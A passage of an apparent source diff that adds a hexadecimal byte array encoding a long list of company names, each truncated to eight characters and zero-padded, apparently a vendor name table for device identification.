0x6f, 0x72, +0x52, 0x6f, 0x6c, 0x69, 0x00, 0x00, 0x00, 0x00, +0x48, 0x6f, 0x6d, 0x65, 0x77, 0x69, 0x6e, 0x73, +0x50, 0x75, 0x6c, 0x73, 0x65, 0x6f, 0x6e, 0x4f, +0x54, 0x65, 0x6c, 0x65, 0x74, 0x69, 0x63, 0x73, +0x41, 0x73, 0x75, 0x6e, 0x67, 0x54, 0x65, 0x00, +0x53, 0x79, 0x6d, 0x61, 0x6e, 0x69, 0x74, 0x72, +0x42, 0x61, 0x69, 0x63, 0x65, 0x6c, 0x6c, 0x73, +0x42, 0x72, 0x6f, 0x61, 0x64, 0x54, 0x65, 0x6c, +0x47, 0x74, 0x6f, 0x41, 0x63, 0x63, 0x65, 0x73, +0x53, 0x69, 0x6d, 0x6f, 0x57, 0x69, 0x72, 0x65, +0x43, 0x65, 0x6c, 0x6c, 0x6f, 0x45, 0x6c, 0x65, +0x4d, 0x65, 0x74, 0x69, 0x73, 0x43, 0x6f, 0x6d, +0x4a, 0x65, 0x64, 0x61, 0x4e, 0x65, 0x74, 0x77, +0x42, 0x6c, 0x61, 0x6e, 0x6b, 0x6f, 0x6d, 0x41, +0x54, 0x65, 0x6c, 0x76, 0x65, 0x6e, 0x74, 0x00, +0x43, 0x6c, 0x61, 0x72, 0x69, 0x64, 0x79, 0x53, +0x45, 0x64, 0x64, 0x79, 0x53, 0x6d, 0x61, 0x72, +0x57, 0x75, 0x68, 0x61, 0x6e, 0x4e, 0x65, 0x63, +0x56, 0x69, 0x74, 0x79, 0x00, 0x00, 0x00, 0x00, +0x45, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x54, 0x65, +0x44, 0x61, 0x65, 0x73, 0x75, 0x6e, 0x67, 0x45, +0x53, 0x69, 0x6c, 0x76, 0x65, 0x72, 0x50, 0x61, +0x55, 0x62, 0x69, 0x7a, 0x63, 0x6f, 0x72, 0x65, +0x4d, 0x61, 0x65, 0x73, 0x74, 0x72, 0x6f, 0x6e, +0x57, 0x6f, 0x6f, 0x64, 0x73, 0x74, 0x72, 0x65, +0x48, 0x6f, 0x6d, 0x61, 0x42, 0x56, 0x00, 0x00, +0x5a, 0x69, 0x67, 0x62, 0x65, 0x65, 0x41, 0x6c, +0x43, 0x61, 0x69, 0x72, 0x65, 0x00, 0x00, 0x00, +0x45, 0x6d, 0x6f, 0x74, 0x69, 0x76, 0x61, 0x41, +0x43, 0x6d, 0x72, 0x4b, 0x6f, 0x72, 0x65, 0x61, +0x4c, 0x65, 0x78, 0x43, 0x6f, 0x6d, 0x70, 0x75, +0x42, 0x61, 0x73, 0x6c, 0x65, 0x72, 0x45, 0x6c, +0x45, 0x6d, 0x70, 0x6c, 0x75, 0x73, 0x54, 0x65, +0x4e, 0x6f, 0x72, 0x65, 0x67, 0x6f, 0x6e, 0x00, +0x50, 0x72, 0x69, 0x6d, 0x61, 0x52, 0x65, 0x73, +0x4e, 0x6f, 0x76, 0x61, 0x6b, 0x6f, 0x6e, 0x00, +0x43, 0x6f, 0x7a, 0x79, 0x62, 0x69, 0x74, 0x00, +0x57, 0x65, 0x6c, 0x67, 0x61, 0x74, 0x65, 0x00, +0x49, 0x63, 0x6d, 0x43, 0x6f, 0x6e, 0x74, 0x72, +0x54, 0x68, 0x61, 0x6c, 0x65, 0x73, 0x54, 0x72, +0x54, 0x65, 0x6c, 0x65, 0x64, 0x61, 0x74, 0x61, +0x4d, 0x52, 0x75, 0x74, 0x74, 0x79, 0x48, 0x6f, +0x4d, 0x69, 0x74, 0x61, 0x63, 0x43, 0x6f, 0x6d, +0x48, 0x70, 0x6c, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x4e, 0x65, 0x77, 0x74, 0x65, 0x6b, 0x45, 0x6c, +0x56, 0x6f, 0x67, 0x74, 0x65, 0x63, 0x48, 0x4b, +0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x44, 0x65, +0x4c, 0x69, 0x6e, 0x65, 0x70, 0x72, 0x6f, 0x53, +0x54, 0x75, 0x72, 0x6b, 0x63, 0x65, 0x6c, 0x6c, +0x5a, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x50, 0x74, +0x4f, 0x79, 0x46, 0x69, 0x6e, 0x6e, 0x69, 0x73, +0x41, 0x69, 0x72, 0x70, 0x6f, 0x69, 0x6e, 0x74, +0x43, 0x6f, 0x6d, 0x6e, 0x65, 0x63, 0x74, 0x54, +0x47, 0x65, 0x6e, 0x69, 0x75, 0x73, 0x42, 0x79, +0x4b, 0x6f, 0x76, 0x65, 0x00, 0x00, 0x00, 0x00, +0x42, 0x71, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4c, 0x65, 0x61, 0x64, 0x65, 0x72, 0x50, 0x68, +0x43, 0x61, 0x76, 0x55, 0x66, 0x66, 0x47, 0x69, +0x41, 0x72, 0x72, 0x6f, 0x77, 0x68, 0x65, 0x61, +0x41, 0x72, 0x6d, 0x73, 0x74, 0x72, 0x6f, 0x6e, +0x47, 0x72, 0x75, 0x70, 0x6f, 0x44, 0x69, 0x67, +0x53, 0x69, 0x6c, 0x6b, 0x61, 0x6e, 0x53, 0x61, +0x4c, 0x61, 0x6e, 0x69, 0x78, 0x49, 0x6e, 0x74, +0x5a, 0x65, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4b, 0x79, 0x6f, 0x6b, 0x6b, 0x6f, 0x45, 0x6c, +0x48, 0x61, 0x6e, 0x79, 0x61, 0x6e, 0x67, 0x4e, +0x54, 0x2d, 0x32, 0x31, 0x54, 0x65, 0x63, 0x68, +0x52, 0x61, 0x69, 0x6e, 0x42, 0x69, 0x72, 0x64, +0x42, 0x61, 0x69, 0x6b, 0x61, 0x6c, 0x45, 0x6c, +0x49, 0x6e, 0x73, 0x65, 0x6e, 0x73, 0x69, 0x00, +0x4b, 0x73, 0x74, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x53, 0x61, 0x69, 0x6e, 0x78, 0x74, 0x54, 0x65, +0x53, 0x68, 0x65, 0x6e, 0x67, 0x68, 0x61, 0x69, +0x4d, 0x61, 0x78, 0x70, 0x68, 0x6f, 0x74, 0x6f, +0x4e, 0x61, 0x6e, 0x6f, 0x77, 0x61, 0x76, 0x65, +0x48, 0x72, 0x64, 0x53, 0x50, 0x74, 0x65, 0x00, +0x4e, 0x6f, 0x76, 0x69, 0x53, 0x65, 0x63, 0x75, +0x53, 0x61, 0x6d, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x43, 0x6f, 0x6e, 0x65, 0x74, 0x00, 0x00, 0x00, +0x42, 0x69, 0x73, 0x6f, 0x6e, 0x45, 0x6c, 0x65, +0x43, 0x68, 0x69, 0x63, 0x6f, 0x6e, 0x79, 0x45, +0x53, 0x6f, 0x6d, 0x66, 0x79, 0x00, 0x00, 0x00, +0x53, 0x68, 0x61, 0x6e, 0x67, 0x48, 0x61, 0x69, +0x52, 0x61, 0x64, 0x69, 0x6f, 0x73, 0x00, 0x00, +0x53, 0x6b, 0x79, 0x65, 0x72, 0x61, 0x00, 0x00, +0x51, 0x73, 0x6f, 0x6e, 0x6f, 0x45, 0x6c, 0x65, +0x48, 0x65, 0x6c, 0x6d, 0x65, 0x72, 0x53, 0x63, +0x54, 0x65, 0x61, 0x6d, 0x45, 0x6e, 0x67, 0x69, +0x5a, 0x68, 0x75, 0x68, 0x61, 0x69, 0x48, 0x69, +0x53, 0x63, 0x6c, 0x61, 0x6b, 0x53, 0x72, 0x6c, +0x52, 0x61, 0x69, 0x6c, 0x63, 0x6f, 0x6d, 0x6d, +0x53, 0x6f, 0x72, 0x61, 0x61, 0x00, 0x00, 0x00, +0x53, 0x68, 0x63, 0x4e, 0x65, 0x74, 0x7a, 0x77, +0x56, 0x69, 0x66, 0x61, 0x44, 0x65, 0x6e, 0x6d, +0x42, 0x6c, 0x75, 0x65, 0x43, 0x6c, 0x6f, 0x76, +0x53, 0x63, 0x61, 0x6c, 0x61, 0x62, 0x6c, 0x65, +0x53, 0x61, 0x6d, 0x6a, 0x69, 0x45, 0x6c, 0x65, +0x46, 0x75, 0x7a, 0x65, 0x45, 0x6e, 0x74, 0x65, +0x43, 0x79, 0x77, 0x65, 0x65, 0x47, 0x72, 0x6f, +0x46, 0x6f, 0x78, 0x64, 0x61, 0x54, 0x65, 0x63, +0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x63, +0x53, 0x69, 0x6c, 0x76, 0x65, 0x72, 0x6e, 0x65, +0x49, 0x72, 0x6f, 0x62, 0x6f, 0x74, 0x00, 0x00, +0x52, 0x69, 0x63, 0x68, 0x66, 0x69, 0x74, 0x49, +0x50, 0x6c, 0x61, 0x74, 0x69, 0x6e, 0x61, 0x00, +0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x75, 0x6e, +0x50, 0x69, 0x78, 0x65, 0x6c, 0x69, 0x6e, 0x6b, +0x4e, 0x65, 0x74, 0x68, 0x72, 0x61, 0x49, 0x6d, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x61, 0x72, 0x74, +0x4e, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x67, 0x49, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x45, 0x6c, 0x65, +0x54, 0x65, 0x6c, 0x65, 0x6b, 0x6f, 0x6d, 0x52, +0x50, 0x68, 0x79, 0x74, 0x65, 0x63, 0x4d, 0x65, +0x41, 0x73, 0x61, 0x68, 0x69, 0x45, 0x6c, 0x65, +0x41, 0x62, 0x62, 0x47, 0x6c, 0x6f, 0x62, 0x61, +0x59, 0x69, 0x63, 0x68, 0x65, 0x6e, 0x53, 0x68, +0x41, 0x6c, 0x70, 0x68, 0x61, 0x74, 0x65, 0x63, +0x53, 0x79, 0x6e, 0x63, 0x6d, 0x6f, 0x6c, 0x64, +0x43, 0x6d, 0x69, 0x74, 0x65, 0x63, 0x68, 0x00, +0x4c, 0x69, 0x75, 0x68, 0x65, 0x49, 0x6e, 0x74, +0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x74, +0x34, 0x31, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x74, +0x4c, 0x6f, 0x78, 0x6f, 0x6e, 0x65, 0x45, 0x6c, +0x45, 0x67, 0x61, 0x72, 0x64, 0x69, 0x61, 0x00, +0x54, 0x61, 0x6b, 0x74, 0x00, 0x00, 0x00, 0x00, +0x4a, 0x6f, 0x6c, 0x6c, 0x61, 0x00, 0x00, 0x00, +0x57, 0x79, 0x74, 0x65, 0x63, 0x49, 0x6e, 0x74, +0x57, 0x61, 0x79, 0x74, 0x6f, 0x74, 0x65, 0x63, +0x49, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x53, 0x6f, +0x49, 0x6e, 0x64, 0x75, 0x2d, 0x53, 0x6f, 0x6c, +0x47, 0x72, 0x65, 0x65, 0x6e, 0x6c, 0x65, 0x65, +0x50, 0x6c, 0x61, 0x6e, 0x65, 0x74, 0x4e, 0x65, +0x4e, 0x75, 0x74, 0x61, 0x6e, 0x69, 0x78, 0x00, +0x49, 0x6e, 0x6e, 0x6f, 0x73, 0x69, 0x6c, 0x69, +0x49, 0x6e, 0x6e, 0x6f, 0x63, 0x65, 0x6e, 0x74, +0x53, 0x65, 0x68, 0x61, 0x6a, 0x53, 0x79, 0x6e, +0x57, 0x69, 0x2d, 0x46, 0x69, 0x41, 0x6c, 0x6c, +0x48, 0x65, 0x53, 0x68, 0x61, 0x6e, 0x57, 0x6f, +0x42, 0x65, 0x67, 0x42, 0x72, 0x75, 0x65, 0x63, +0x54, 0x65, 0x6b, 0x70, 0x65, 0x61, 0x00, 0x00, +0x45, 0x63, 0x69, 0x6c, 0x49, 0x6e, 0x66, 0x6f, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x65, 0x78, 0x70, +0x42, 0x69, 0x6f, 0x64, 0x69, 0x74, 0x00, 0x00, +0x4e, 0x75, 0x76, 0x79, 0x79, 0x6f, 0x00, 0x00, +0x55, 0x70, 0x74, 0x6d, 0x61, 0x74, 0x65, 0x54, +0x44, 0x69, 0x72, 0x6d, 0x65, 0x69, 0x65, 0x72, +0x43, 0x68, 0x61, 0x68, 0x6f, 0x6f, 0x00, 0x00, +0x47, 0x72, 0x61, 0x64, 0x75, 0x61, 0x6c, 0x54, +0x49, 0x6e, 0x76, 0x65, 0x6e, 0x74, 0x75, 0x6d, +0x52, 0x68, 0x65, 0x65, 0x6d, 0x41, 0x75, 0x73, +0x41, 0x63, 0x74, 0x69, 0x6e, 0x65, 0x6f, 0x6e, +0x41, 0x6c, 0x62, 0x61, 0x46, 0x69, 0x62, 0x65, +0x44, 0x61, 0x76, 0x69, 0x64, 0x43, 0x6c, 0x61, +0x41, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x69, 0x00, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x63, 0x6f, 0x6d, +0x51, 0x69, 0x62, 0x69, 0x78, 0x78, 0x00, 0x00, +0x48, 0x6f, 0x73, 0x65, 0x6f, 0x54, 0x65, 0x6c, +0x44, 0x79, 0x6e, 0x61, 0x6c, 0x65, 0x63, 0x00, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x70, 0x6f, 0x69, +0x57, 0x69, 0x32, 0x62, 0x65, 0x54, 0x65, 0x63, +0x49, 0x6d, 0x74, 0x65, 0x63, 0x68, 0x54, 0x65, +0x43, 0x61, 0x72, 0x6d, 0x61, 0x6e, 0x61, 0x68, +0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x74, 0x65, +0x53, 0x6b, 0x69, 0x70, 0x70, 0x65, 0x72, 0x41, +0x4e, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x67, 0x43, +0x4d, 0x65, 0x61, 0x73, 0x79, 0x45, 0x6c, 0x65, +0x43, 0x76, 0x69, 0x6c, 0x75, 0x78, 0x00, 0x00, +0x53, 0x74, 0x65, 0x66, 0x66, 0x65, 0x73, 0x00, +0x59, 0x75, 0x46, 0x6c, 0x79, 0x4d, 0x69, 0x6b, +0x54, 0x68, 0x61, 0x69, 0x48, 0x61, 0x62, 0x65, +0x43, 0x6f, 0x6e, 0x65, 0x6c, 0x63, 0x6f, 0x6d, +0x54, 0x75, 0x72, 0x63, 0x6f, 0x6e, 0x74, 0x72, +0x4a, 0x69, 0x62, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x43, 0x68, 0x61, 0x6e, 0x67, 0x7a, 0x68, 0x6f, +0x45, 0x67, 0x61, 0x74, 0x65, 0x6c, 0x53, 0x6c, +0x4f, 0x70, 0x65, 0x6e, 0x53, 0x74, 0x61, 0x63, +0x4c, 0x65, 0x65, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x4b, 0x75, 0x6e, 0x73, 0x68, 0x61, 0x6e, 0x4a, +0x4c, 0x2d, 0x54, 0x65, 0x6b, 0x44, 0x4f, 0x4f, +0x54, 0x72, 0x65, 0x65, 0x68, 0x6f, 0x75, 0x73, +0x53, 0x69, 0x66, 0x79, 0x54, 0x65, 0x63, 0x68, +0x4b, 0x65, 0x65, 0x6e, 0x65, 0x74, 0x69, 0x63, +0x52, 0x65, 0x61, 0x6c, 0x74, 0x65, 0x6b, 0x55, +0x4e, 0x6f, 0x76, 0x65, 0x6c, 0x6c, 0x32, 0x30, +0x52, 0x65, 0x61, 0x6c, 0x74, 0x65, 0x6b, 0x41, +0x48, 0x61, 0x6e, 0x67, 0x6b, 0x6f, 0x6e, 0x67, +0x45, 0x62, 0x6e, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x56, 0x69, 0x76, 0x61, 0x67, 0x6f, 0x4f, 0x79, +0x57, 0x6f, 0x6f, 0x72, 0x69, 0x45, 0x6c, 0x65, +0x44, 0x65, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, +0x53, 0x75, 0x6c, 0x7a, 0x65, 0x72, 0x50, 0x75, +0x41, 0x74, 0x61, 0x6d, 0x6f, 0x50, 0x74, 0x79, +0x4f, 0x72, 0x62, 0x62, 0x65, 0x63, 0x33, 0x64, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x2d, 0x49, +0x46, 0x72, 0x65, 0x65, 0x73, 0x74, 0x79, 0x6c, +0x54, 0x65, 0x6c, 0x79, 0x4c, 0x61, 0x62, 0x73, +0x52, 0x65, 0x73, 0x6f, 0x6c, 0x75, 0x74, 0x69, +0x4c, 0x73, 0x79, 0x44, 0x65, 0x66, 0x65, 0x6e, +0x4e, 0x69, 0x67, 0x68, 0x74, 0x4f, 0x77, 0x6c, +0x50, 0x72, 0x6f, 0x74, 0x65, 0x63, 0x74, 0x72, +0x45, 0x75, 0x63, 0x6c, 0x69, 0x64, 0x4c, 0x61, +0x52, 0x61, 0x73, 0x74, 0x65, 0x72, 0x56, 0x69, +0x53, 0x79, 0x6d, 0x65, 0x6f, 0x00, 0x00, 0x00, +0x31, 0x76, 0x65, 0x72, 0x67, 0x65, 0x49, 0x6e, +0x44, 0x75, 0x61, 0x67, 0x6f, 0x6e, 0x00, 0x00, +0x43, 0x64, 0x6f, 0x75, 0x62, 0x6c, 0x65, 0x73, +0x57, 0x65, 0x6e, 0x67, 0x6c, 0x6f, 0x72, 0x53, +0x41, 0x6d, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, +0x50, 0x72, 0x6f, 0x62, 0x65, 0x64, 0x69, 0x67, +0x5a, 0x6f, 0x64, 0x69, 0x61, 0x63, 0x41, 0x65, +0x5a, 0x61, 0x70, 0x6c, 0x6f, 0x78, 0x00, 0x00, +0x54, 0x6f, 0x70, 0x76, 0x69, 0x65, 0x77, 0x4f, +0x57, 0x65, 0x62, 0x74, 0x65, 0x63, 0x68, 0x57, +0x43, 0x74, 0x65, 0x49, 0x6e, 0x74, 0x65, 0x72, +0x54, 0x65, 0x6c, 0x63, 0x6f, 0x53, 0x52, 0x4f, +0x45, 0x61, 0x67, 0x6c, 0x65, 0x52, 0x65, 0x73, +0x5a, 0x65, 0x6c, 0x66, 0x79, 0x00, 0x00, 0x00, +0x53, 0x69, 0x6c, 0x76, 0x65, 0x72, 0x73, 0x68, +0x55, 0x7a, 0x75, 0x73, 0x68, 0x69, 0x6f, 0x45, +0x45, 0x6e, 0x65, 0x72, 0x61, 0x63, 0x63, 0x65, +0x54, 0x2d, 0x4d, 0x61, 0x63, 0x54, 0x65, 0x63, +0x42, 0x71, 0x74, 0x53, 0x6f, 0x6c, 0x75, 0x74, +0x4e, 0x73, 0x63, 0x43, 0x6f, 0x6d, 0x6d, 0x75, +0x4d, 0x69, 0x6e, 0x69, 0x62, 0x61, 0x72, 0x00, +0x58, 0x69, 0x41, 0x6e, 0x4e, 0x6f, 0x76, 0x61, +0x53, 0x75, 0x68, 0x64, 0x6f, 0x6c, 0x45, 0x26, +0x48, 0x75, 0x6e, 0x61, 0x6e, 0x46, 0x65, 0x6e, +0x46, 0x75, 0x6a, 0x69, 0x61, 0x6e, 0x53, 0x68, +0x58, 0x69, 0x61, 0x6d, 0x65, 0x6e, 0x46, 0x6f, +0x41, 0x78, 0x69, 0x6d, 0x43, 0x6f, 0x6d, 0x6d, +0x4d, 0x61, 0x78, 0x2d, 0x54, 0x65, 0x63, 0x68, +0x4e, 0x75, 0x6b, 0x69, 0x48, 0x6f, 0x6d, 0x65, +0x50, 0x72, 0x6f, 0x78, 0x69, 0x6d, 0x75, 0x73, +0x55, 0x6c, 0x74, 0x65, 0x72, 0x69, 0x75, 0x73, +0x49, 0x6e, 0x74, 0x72, 0x61, 0x6b, 0x65, 0x79, +0x4a, 0x76, 0x6c, 0x49, 0x6e, 0x64, 0x75, 0x73, +0x4e, 0x61, 0x76, 0x64, 0x79, 0x00, 0x00, 0x00, +0x46, 0x75, 0x6c, 0x6c, 0x70, 0x6f, 0x77, 0x65, +0x42, 0x65, 0x72, 0x74, 0x68, 0x6f, 0x6c, 0x64, +0x41, 0x62, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, +0x57, 0x69, 0x73, 0x65, 0x77, 0x61, 0x72, 0x65, +0x53, 0x63, 0x68, 0x65, 0x69, 0x64, 0x74, 0x42, +0x44, 0x61, 0x76, 0x69, 0x74, 0x53, 0x6f, 0x6c, +0x4d, 0x6f, 0x70, 0x72, 0x69, 0x61, 0x41, 0x6c, +0x41, 0x63, 0x75, 0x6c, 0x61, 0x62, 0x50, 0x6c, +0x54, 0x69, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x48, +0x4c, 0x61, 0x62, 0x72, 0x69, 0x73, 0x4e, 0x65, +0x45, 0x6c, 0x65, 0x74, 0x74, 0x72, 0x6f, 0x6e, +0x46, 0x69, 0x62, 0x65, 0x72, 0x4f, 0x70, 0x74, +0x4b, 0x69, 0x76, 0x69, 0x63, 0x00, 0x00, 0x00, +0x41, 0x66, 0x66, 0x69, 0x6e, 0x65, 0x67, 0x79, +0x4f, 0x70, 0x65, 0x6e, 0x2d, 0x4d, 0x54, 0x65, +0x54, 0x75, 0x74, 0x74, 0x6e, 0x61, 0x65, 0x72, +0x4b, 0x6d, 0x62, 0x53, 0x52, 0x4f, 0x00, 0x00, +0x54, 0x77, 0x70, 0x69, 0x00, 0x00, 0x00, 0x00, +0x50, 0x61, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4c, 0x69, 0x67, 0x68, 0x74, 0x69, 0x6e, 0x67, +0x44, 0x72, 0x75, 0x73, 0x74, 0x00, 0x00, 0x00, +0x47, 0x6c, 0x6f, 0x76, 0x61, 0x73, 0x74, 0x54, +0x4f, 0x6d, 0x6e, 0x65, 0x61, 0x6c, 0x69, 0x74, +0x42, 0x61, 0x78, 0x74, 0x65, 0x72, 0x49, 0x6e, +0x4b, 0x6f, 0x6e, 0x63, 0x61, 0x72, 0x45, 0x6c, +0x43, 0x6f, 0x66, 0x6c, 0x65, 0x63, 0x00, 0x00, +0x45, 0x33, 0x45, 0x6e, 0x74, 0x65, 0x72, 0x70, +0x43, 0x68, 0x69, 0x74, 0x61, 0x69, 0x45, 0x6c, +0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x45, 0x71, +0x54, 0x6c, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x42, 0x65, 0x73, 0x74, 0x42, 0x75, 0x79, 0x00, +0x44, 0x61, 0x6e, 0x66, 0x6f, 0x73, 0x73, 0x53, +0x51, 0x75, 0x61, 0x6e, 0x74, 0x75, 0x6d, 0x4e, +0x54, 0x70, 0x6c, 0x53, 0x79, 0x73, 0x74, 0x65, +0x42, 0x61, 0x72, 0x6e, 0x65, 0x73, 0x26, 0x4e, +0x43, 0x6c, 0x61, 0x72, 0x65, 0x43, 0x6f, 0x6e, +0x54, 0x65, 0x6d, 0x70, 0x6f, 0x41, 0x75, 0x73, +0x46, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x54, 0x72, +0x43, 0x6a, 0x73, 0x63, 0x52, 0x74, 0x73, 0x6f, +0x44, 0x69, 0x67, 0x69, 0x49, 0x53, 0x00, 0x00, +0x53, 0x74, 0x6f, 0x6e, 0x65, 0x73, 0x6f, 0x66, +0x41, 0x69, 0x72, 0x70, 0x72, 0x6f, 0x54, 0x65, +0x53, 0x6f, 0x6e, 0x61, 0x72, 0x49, 0x6e, 0x64, +0x53, 0x32, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, +0x48, 0x53, 0x63, 0x68, 0x6f, 0x6d, 0x63, 0x00, +0x49, 0x70, 0x35, 0x30, 0x30, 0x41, 0x6c, 0x6c, +0x51, 0x73, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x58, 0x69, 0x41, 0x6e, 0x43, 0x6c, 0x65, 0x76, +0x4b, 0x69, 0x6e, 0x65, 0x74, 0x69, 0x63, 0x41, +0x56, 0x65, 0x72, 0x74, 0x65, 0x78, 0x53, 0x74, +0x52, 0x65, 0x76, 0x6f, 0x6c, 0x75, 0x74, 0x69, +0x53, 0x68, 0x69, 0x6e, 0x65, 0x77, 0x61, 0x79, +0x46, 0x72, 0x65, 0x65, 0x62, 0x73, 0x64, 0x46, +0x54, 0x72, 0x61, 0x63, 0x6b, 0x6e, 0x65, 0x74, +0x50, 0x69, 0x78, 0x61, 0x72, 0x74, 0x49, 0x6d, +0x49, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x5a, 0x75, 0x6e, 0x69, 0x64, 0x61, 0x74, 0x61, +0x59, 0x73, 0x74, 0x65, 0x6e, 0x54, 0x65, 0x63, +0x53, 0x6f, 0x6c, 0x65, 0x6d, 0x45, 0x6c, 0x65, +0x43, 0x72, 0x79, 0x73, 0x74, 0x61, 0x6c, 0x66, +0x43, 0x6f, 0x67, 0x6e, 0x69, 0x74, 0x69, 0x76, +0x53, 0x69, 0x67, 0x72, 0x61, 0x6e, 0x64, 0x00, +0x43, 0x68, 0x69, 0x75, 0x6e, 0x4d, 0x61, 0x69, +0x4c, 0x75, 0x66, 0x6b, 0x69, 0x6e, 0x49, 0x6e, +0x42, 0x77, 0x42, 0x72, 0x6f, 0x61, 0x64, 0x63, +0x49, 0x65, 0x65, 0x65, 0x31, 0x39, 0x30, 0x34, +0x54, 0x63, 0x70, 0x6c, 0x69, 0x6e, 0x6b, 0x00, +0x44, 0x61, 0x69, 0x72, 0x79, 0x43, 0x68, 0x65, +0x45, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6f, +0x59, 0x69, 0x6e, 0x67, 0x48, 0x75, 0x61, 0x49, +0x43, 0x6f, 0x6d, 0x70, 0x61, 0x73, 0x73, 0x54, +0x43, 0x65, 0x6e, 0x74, 0x72, 0x6f, 0x6e, 0x43, +0x45, 0x76, 0x72, 0x73, 0x61, 0x66, 0x65, 0x54, +0x44, 0x65, 0x6c, 0x74, 0x61, 0x6e, 0x65, 0x74, +0x41, 0x75, 0x74, 0x6f, 0x6e, 0x69, 0x63, 0x73, +0x50, 0x72, 0x6f, 0x74, 0x65, 0x75, 0x73, 0x44, +0x4e, 0x65, 0x77, 0x70, 0x6f, 0x72, 0x74, 0x00, +0x49, 0x63, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, +0x42, 0x6c, 0x75, 0x50, 0x72, 0x6f, 0x64, 0x75, +0x48, 0x63, 0x63, 0x70, 0x00, 0x00, 0x00, 0x00, +0x53, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x43, 0x68, +0x58, 0x69, 0x61, 0x4d, 0x65, 0x6e, 0x55, 0x6e, +0x4b, 0x79, 0x6f, 0x74, 0x6f, 0x55, 0x6e, 0x69, +0x53, 0x65, 0x63, 0x75, 0x64, 0x6f, 0x73, 0x00, +0x41, 0x72, 0x72, 0x69, 0x61, 0x4c, 0x69, 0x76, +0x42, 0x72, 0x61, 0x76, 0x69, 0x64, 0x61, 0x53, +0x53, 0x69, 0x6d, 0x61, 0x75, 0x64, 0x69, 0x6f, +0x56, 0x69, 0x61, 0x73, 0x61, 0x74, 0x47, 0x72, +0x41, 0x70, 0x70, 0x6c, 0x69, 0x65, 0x64, 0x56, +0x54, 0x68, 0x6f, 0x75, 0x67, 0x68, 0x74, 0x43, +0x47, 0x75, 0x69, 0x7a, 0x68, 0x6f, 0x75, 0x48, +0x43, 0x65, 0x6c, 0x69, 0x7a, 0x69, 0x6f, 0x6e, +0x53, 0x65, 0x61, 0x6c, 0x4f, 0x6e, 0x65, 0x00, +0x41, 0x64, 0x76, 0x61, 0x6e, 0x00, 0x00, 0x00, +0x41, 0x69, 0x64, 0x63, 0x54, 0x65, 0x63, 0x68, +0x42, 0x69, 0x67, 0x53, 0x77, 0x69, 0x74, 0x63, +0x49, 0x2d, 0x56, 0x69, 0x65, 0x77, 0x4e, 0x6f, +0x4c, 0x67, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, +0x54, 0x61, 0x6c, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, +0x41, 0x73, 0x6f, 0x6e, 0x69, 0x43, 0x6f, 0x6d, +0x44, 0x61, 0x65, 0x45, 0x75, 0x6e, 0x45, 0x6c, +0x4f, 0x2d, 0x53, 0x75, 0x6e, 0x67, 0x54, 0x65, +0x42, 0x61, 0x6c, 0x74, 0x65, 0x63, 0x68, 0x00, +0x41, 0x76, 0x69, 0x72, 0x65, 0x47, 0x6c, 0x6f, +0x4f, 0x70, 0x65, 0x6e, 0x41, 0x63, 0x63, 0x65, +0x56, 0x69, 0x76, 0x69, 0x6e, 0x74, 0x57, 0x69, +0x41, 0x62, 0x63, 0x58, 0x69, 0x73, 0x68, 0x65, +0x53, 0x70, 0x61, 0x7a, 0x69, 0x6f, 0x49, 0x74, +0x53, 0x77, 0x69, 0x73, 0x73, 0x70, 0x68, 0x6f, +0x54, 0x68, 0x65, 0x72, 0x65, 0x4f, 0x79, 0x00, +0x47, 0x65, 0x68, 0x69, 0x72, 0x6e, 0x00, 0x00, +0x4a, 0x65, 0x66, 0x66, 0x65, 0x72, 0x73, 0x6f, +0x57, 0x69, 0x61, 0x74, 0x65, 0x63, 0x49, 0x6e, +0x48, 0x61, 0x7a, 0x65, 0x6d, 0x65, 0x79, 0x65, +0x45, 0x6e, 0x67, 0x75, 0x69, 0x74, 0x79, 0x54, +0x33, 0x70, 0x6c, 0x65, 0x70, 0x6c, 0x61, 0x79, +0x4a, 0x69, 0x6e, 0x67, 0x73, 0x68, 0x65, 0x6e, +0x46, 0x6f, 0x72, 0x64, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x69, 0x73, 0x74, 0x00, 0x00, 0x00, 0x00, +0x59, 0x69, 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x75, 0x76, 0x69, 0x63, 